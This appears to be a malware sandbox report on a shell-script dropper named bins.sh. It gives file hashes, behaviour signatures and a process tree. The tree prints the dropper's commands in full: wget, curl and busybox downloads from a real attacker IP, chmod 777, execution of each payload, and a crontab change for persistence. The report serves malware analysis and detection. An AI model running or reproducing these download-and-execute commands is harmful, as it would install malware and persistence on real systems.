Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    19/11/2024, 13:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e7858e7f06486cd924155e463d230b74

  • SHA1

    5e5be0e1760892742e4f707d8d072d6ed603e59e

  • SHA256

    5e1c33ea279105c302ec4665ddd72c155d9d440ae2c473b803df701c30002518

  • SHA512

    648b5f3a77ecfc659307360e28d4d77a59363fffccb4f099a2c997c5ab4deab216b9aae273800ad6060e284935c0b77eb7dcecf3f32bc11f6a9e6a82182698ab

  • SSDEEP

    192:+J7L7P7rQAYa4f+eINBHGHm7L7P7rQAs+eINB8l:+ZvzrQAYa4f+eINBHq6vzrQAs+eINBu

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Contacts a large (1906) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1488
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1491
        • /usr/bin/wget
          wget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:1492
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:1497
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Writes file to tmp directory
          PID:1498
        • /bin/chmod
          chmod 777 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • File and Directory Permissions Modification
          PID:1499
        • /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          ./25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
          • Executes dropped EXE
          PID:1500
        • /bin/rm
          rm 25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2
          2⤵
            PID:1502
          • /usr/bin/wget
            wget http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1503
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1504
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:1505
          • /bin/chmod
            chmod 777 UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • File and Directory Permissions Modification
            PID:1506
          • /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            ./UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:1507
          • /bin/rm
            rm UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5
            2⤵
            • System Network Configuration Discovery
            PID:1509
          • /usr/bin/wget
            wget http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Writes file to tmp directory
            PID:1510
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Writes file to tmp directory
            PID:1511
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Writes file to tmp directory
            PID:1512
          • /bin/chmod
            chmod 777 Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • File and Directory Permissions Modification
            PID:1513
          • /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            ./Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
            • Executes dropped EXE
            PID:1514
          • /bin/rm
            rm Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX
            2⤵
              PID:1516
            • /usr/bin/wget
              wget http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:1517
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:1518
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Writes file to tmp directory
              PID:1519
            • /bin/chmod
              chmod 777 kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • File and Directory Permissions Modification
              PID:1520
            • /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              ./kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
              • Executes dropped EXE
              PID:1521
            • /bin/rm
              rm kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW
              2⤵
                PID:1523
              • /usr/bin/wget
                wget http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:1524
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:1525
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Writes file to tmp directory
                PID:1526
              • /bin/chmod
                chmod 777 l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • File and Directory Permissions Modification
                PID:1527
              • /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                ./l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                • Executes dropped EXE
                PID:1528
              • /bin/rm
                rm l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI
                2⤵
                  PID:1530
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:1531
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:1532
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Writes file to tmp directory
                  PID:1533
                • /bin/chmod
                  chmod 777 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1534
                • /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  ./6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                  • Executes dropped EXE
                  PID:1535
                • /bin/rm
                  rm 6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE
                  2⤵
                    PID:1537
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                    • Writes file to tmp directory
                    PID:1538
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                    • Writes file to tmp directory
                    PID:1539
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                    • Writes file to tmp directory
                    PID:1540
                  • /bin/chmod
                    chmod 777 U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1541
                  • /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    ./U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                    • Executes dropped EXE
                    PID:1542
                  • /bin/rm
                    rm U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC
                    2⤵
                      PID:1544
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      2⤵
                      • Writes file to tmp directory
                      PID:1545
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      2⤵
                      • Writes file to tmp directory
                      PID:1546
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      2⤵
                      • Writes file to tmp directory
                      PID:1547
                    • /bin/chmod
                      chmod 777 vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1548
                    • /tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      ./vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                      2⤵
                      • Executes dropped EXE
                      • Renames itself
                      • Reads runtime system information
                      PID:1549
                      • /bin/sh
                        sh -c "crontab -l"
                        3⤵
                          PID:1551
                          • /usr/bin/crontab
                            crontab -l
                            4⤵
                              PID:1552
                          • /bin/sh
                            sh -c "crontab -"
                            3⤵
                              PID:1553
                              • /usr/bin/crontab
                                crontab -
                                4⤵
                                • Creates/modifies Cron job
                                PID:1554
                          • /bin/rm
                            rm vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz
                            2⤵
                              PID:1556
                            • /usr/bin/wget
                              wget http://216.126.231.240/bins/zZtCZZddeduS2oaAFtibNooqfJ99ts5rf6
                              2⤵
                                PID:1559

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/25rlz5Twbw5ZJKlGiFYuvc7HBM7xOztnZ2

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/6kZs5wwxTPH8Mr4NXZgr9rqQN0iaX04loE

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/Av2kF07j7TD1Z98A5QTPBdBIZQgIAcTmeX

                              Filesize

                              111KB

                              MD5

                              ca897a38f23ec23521ce0b1b83f8422d

                              SHA1

                              b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                              SHA256

                              043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                              SHA512

                              10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                            • /tmp/U2yS6hyWg0BtnOfCVT5oRgLRz6xnyfaRZC

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/UJoip0Yfq9Y9AyFCJa1ISX8hL6hX0GDhx5

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /tmp/kLf10Zypb6DCuHTUFWcjOZSmiutxNJVkHW

                              Filesize

                              117KB

                              MD5

                              849fa04ef88a8e8de32cb2e8538de5fe

                              SHA1

                              c768af29fe4b6695fff1541623e8bbd1c6f242f7

                              SHA256

                              8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                              SHA512

                              2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                            • /tmp/l95ASuFmLcNSOdvE9RcuWyaJad7Y26j6gI

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/vGRTUa0HSiU3aQWDlk09w6rZ5wwtOyojrz

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /var/spool/cron/crontabs/tmp.fnoKry

                              Filesize

                              210B

                              MD5

                              e98e8f1fe28b255210101b95652904a9

                              SHA1

                              1353cb89cf7c520d100f1ef98e04ba0a41cde1f4

                              SHA256

                              7042f94b0c3ae9696ff7a087cad33ec97cffe7c550b6b3f97070d18624f9a0a7

                              SHA512

                              327c8859c879645da4b65f27e0cb2a500ad7139b4a58ba5df23c8d06195e07ba4fa8e64dc7f51737427ad7193bcc97d93c4577ed2f84c56b193da50c8a6ccb64